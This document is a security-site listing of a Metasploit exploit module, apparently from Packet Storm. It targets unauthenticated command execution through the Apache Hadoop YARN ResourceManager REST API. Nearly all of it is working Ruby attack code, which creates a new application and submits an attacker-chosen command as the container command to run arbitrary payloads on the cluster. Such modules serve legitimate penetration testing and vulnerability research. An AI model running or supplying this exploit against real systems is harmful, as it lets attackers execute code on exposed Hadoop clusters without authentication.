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Hadoop YARN ResourceManager Unauthenticated Command Execution

Hadoop YARN ResourceManager Unauthenticated Command Execution
Posted Jul 13, 2018
Authored by cbmixx | Site metasploit.com

This Metasploit module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API.

tags | exploit
MD5 | b4238f62a3c92ba834b83f14ddc4f179

Hadoop YARN ResourceManager Unauthenticated Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Hadoop YARN ResourceManager Unauthenticated Command Execution',
'Description' => %q{
This module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API.
},
'License' => MSF_LICENSE,
'Author' =>
[
'cbmixx', # Proof of concept
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' =>
[
['URL', 'http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['Automatic', {}]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 19 2016',
'DefaultTarget' => 0
))

register_options([Opt::RPORT(8088)])
end

def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'),
'method' => 'POST'
)
rescue Rex::ConnectionError
vprint_error("#{peer} - Connection failed")
return CheckCode::Unknown
end

if res && res.code == 200 && res.body.include?('application-id')
return CheckCode::Detected
end

CheckCode::Safe
end

def exploit
print_status('Sending Command')
execute_cmdstager
end

def execute_command(cmd, opts = {})
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'),
'method' => 'POST'
)

app_id = res.get_json_document['application-id']

post = {
'application-id' => app_id,
'application-name' => Rex::Text.rand_text_alpha_lower(4..12),
'application-type' => 'YARN',
'am-container-spec' => {
'commands' => {'command' => cmd.to_s}
}
}

send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => post.to_json
)
end

end

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